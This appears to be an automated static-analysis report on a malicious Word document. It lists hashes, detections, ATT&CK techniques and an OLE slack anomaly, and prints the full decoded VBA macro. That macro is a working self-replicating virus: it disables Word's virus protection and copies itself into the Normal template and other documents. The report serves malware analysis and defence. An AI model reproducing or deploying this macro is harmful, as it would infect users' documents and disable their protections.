Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0a5d696358034836…

MALICIOUS

Office (OLE)

36.5 KB Created: 2001-07-17 09:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a045bde7e1b8ea22fbf747d06640cb40 SHA-1: 3a7f67310f8bd9075cc4f71b39ef7dde03b11dd3 SHA-256: 0a5d696358034836989a246d601c8ab75e6000c151dc86a6a76f611ce418f47a
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing a VBA macro named Document_open. This macro is designed to copy its own code into the Normal template, which is a common technique for establishing persistence or ensuring the macro runs with any document opened. The ClamAV detection 'Doc.Trojan.Quiet-6' further indicates malicious intent. While the exact payload is not visible, the persistence mechanism is clear.

Heuristics 4

  • ClamAV: Doc.Trojan.Quiet-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Quiet-6
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 37,376 bytes but its declared streams total only 16,790 bytes — 20,586 bytes (55%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1015 bytes
SHA-256: eedc59c0dbf7d61883599ef22b6953dc434b832f104b1f46085bacb05cfb697f
Detection
ClamAV: Doc.Trojan.Quiet-6
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private source As Object
Private dest As Object

Private Sub Document_Close()

End Sub

Private Sub Document_open()
 Application.Options.VirusProtection = False
 Set source = ActiveDocument.VBProject.VBComponents.Item(1)
 Set dest = NormalTemplate.VBProject.VBComponents.Item(1)
 If dest.codemodule.countoflines = 0 Then
  For i = 1 To source.codemodule.countoflines
     dest.codemodule.insertlines i, source.codemodule.lines(i, 1)
  Next i
  Application.Options.SaveNormalPrompt = False
End If

If source.codemodule.countoflines = 0 Then
 For i = 1 To dest.codemodule.countoflines
  source.codemodule.insertlines i, dest.codemodule.lines(i, 1)
 Next i
    
    
    
    ActiveDocument.SaveAs (ActiveDocument.FullName)
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.